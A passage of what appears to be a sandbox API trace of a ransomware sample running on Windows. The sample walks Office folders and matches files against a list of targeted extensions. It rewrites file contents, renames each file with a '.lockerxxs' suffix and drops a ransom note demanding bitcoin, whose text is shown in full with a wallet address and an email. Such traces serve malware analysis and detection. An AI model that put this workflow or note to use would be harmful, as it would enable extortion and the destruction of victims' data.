out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.859] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.859] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.859] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.859] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="VIEW.ICO" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO" [0064.860] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2095, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="VIEW.JS", cAlternateFileName="")) returned 1 [0064.860] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.860] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VIEW.JS") returned -1 [0064.860] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VIEW.JS") returned -1 [0064.860] lstrcmpiA (lpString1="", lpString2="VIEW.JS") returned -1 [0064.860] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.ICO") returned="VIEW.ICO" [0064.860] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.860] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.860] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.860] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.860] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="VIEW.JS" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.JS") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.JS" [0064.860] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="VIEWHE~1.JPG")) returned 1 [0064.860] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.860] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ViewHeaderPreview.jpg") returned -1 [0064.860] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ViewHeaderPreview.jpg") returned -1 [0064.860] lstrcmpiA (lpString1="", lpString2="ViewHeaderPreview.jpg") returned -1 [0064.861] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\VIEW.JS") returned="VIEW.JS" [0064.861] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.861] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.861] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.861] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.861] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="ViewHeaderPreview.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg" [0064.861] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg" [0064.861] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg" [0064.861] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg." [0064.861] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg.lockerxxs" [0064.861] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\viewheaderpreview.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0064.862] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd78 [0064.862] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa638ad00, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x706f8370, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa638ad00, dwHighDateTime=0x1c747ea)) returned 1 [0064.862] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.862] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xd52, lpOverlapped=0x0) returned 1 [0064.864] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg") returned="ViewHeaderPreview.jpg" [0064.864] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.864] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xd52, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xd52, lpOverlapped=0x0) returned 1 [0064.865] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0064.865] CloseHandle (hObject=0x98) returned 1 [0064.868] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\viewheaderpreview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\viewheaderpreview.jpg.lockerxxs")) returned 1 [0064.869] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="VIEWHE~1.JPG")) returned 0 [0064.869] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0064.869] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f82b8, dwReserved1=0x3, cFileName="GrooveForms5", cAlternateFileName="GROOVE~2")) returned 1 [0064.869] lstrcmpA (lpString1=".", lpString2="GrooveForms5") returned -1 [0064.869] lstrcmpA (lpString1="..", lpString2="GrooveForms5") returned -1 [0064.869] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*.*") returned="*.*" [0064.869] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\", lpString2="GrooveForms5" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5" [0064.869] lstrlenA (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5") returned 82 [0064.869] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName=".", cAlternateFileName="")) returned 0x502518 [0064.872] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0064.872] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0064.874] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0064.874] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0064.874] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0064.874] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.874] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ADD.GIF") returned 1 [0064.874] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ADD.GIF") returned 1 [0064.874] lstrcmpiA (lpString1="", lpString2="ADD.GIF") returned -1 [0064.874] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\*.*") returned="*.*" [0064.874] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0064.874] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0064.874] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0064.874] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0xffffffff [0064.874] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0064.875] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0064.875] WriteFile (in: hFile=0x98, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0064.876] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0064.876] CloseHandle (hObject=0x98) returned 1 [0064.877] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="ADD.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF" [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.ems") returned 0 [0064.877] lstrlenA (lpString="*.ems") returned 5 [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.db") returned 0 [0064.877] lstrlenA (lpString="*.db") returned 4 [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.dbf") returned 0 [0064.877] lstrlenA (lpString="*.dbf") returned 5 [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.myox") returned 0 [0064.877] lstrlenA (lpString="*.myox") returned 6 [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.myo") returned 0 [0064.877] lstrlenA (lpString="*.myo") returned 5 [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.qbw") returned 0 [0064.877] lstrlenA (lpString="*.qbw") returned 5 [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.qbb") returned 0 [0064.877] lstrlenA (lpString="*.qbb") returned 5 [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.qbm") returned 0 [0064.877] lstrlenA (lpString="*.qbm") returned 5 [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.qbo") returned 0 [0064.877] lstrlenA (lpString="*.qbo") returned 5 [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.qbx") returned 0 [0064.877] lstrlenA (lpString="*.qbx") returned 5 [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.qba") returned 0 [0064.877] lstrlenA (lpString="*.qba") returned 5 [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.qby") returned 0 [0064.877] lstrlenA (lpString="*.qby") returned 5 [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.qbj") returned 0 [0064.877] lstrlenA (lpString="*.qbj") returned 5 [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.ofx") returned 0 [0064.877] lstrlenA (lpString="*.ofx") returned 5 [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.qif") returned 0 [0064.877] lstrlenA (lpString="*.qif") returned 5 [0064.877] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.mye") returned 0 [0064.878] lstrlenA (lpString="*.mye") returned 5 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.mbox") returned 0 [0064.878] lstrlenA (lpString="*.mbox") returned 6 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.eml") returned 0 [0064.878] lstrlenA (lpString="*.eml") returned 5 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.pst") returned 0 [0064.878] lstrlenA (lpString="*.pst") returned 5 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.ost") returned 0 [0064.878] lstrlenA (lpString="*.ost") returned 5 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.idx") returned 0 [0064.878] lstrlenA (lpString="*.idx") returned 5 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.dbx") returned 0 [0064.878] lstrlenA (lpString="*.dbx") returned 5 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.sql") returned 0 [0064.878] lstrlenA (lpString="*.sql") returned 5 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.mdb") returned 0 [0064.878] lstrlenA (lpString="*.mdb") returned 5 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.fdb") returned 0 [0064.878] lstrlenA (lpString="*.fdb") returned 5 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.wab") returned 0 [0064.878] lstrlenA (lpString="*.wab") returned 5 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.dat") returned 0 [0064.878] lstrlenA (lpString="*.dat") returned 5 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.txt") returned 0 [0064.878] lstrlenA (lpString="*.txt") returned 5 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.jpeg") returned 0 [0064.878] lstrlenA (lpString="*.jpeg") returned 6 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.jpg") returned 0 [0064.878] lstrlenA (lpString="*.jpg") returned 5 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.png") returned 0 [0064.878] lstrlenA (lpString="*.png") returned 5 [0064.878] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", pszSpec="*.php") returned 0 [0064.878] lstrlenA (lpString="*.php") returned 5 [0064.879] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\ADD.GIF", 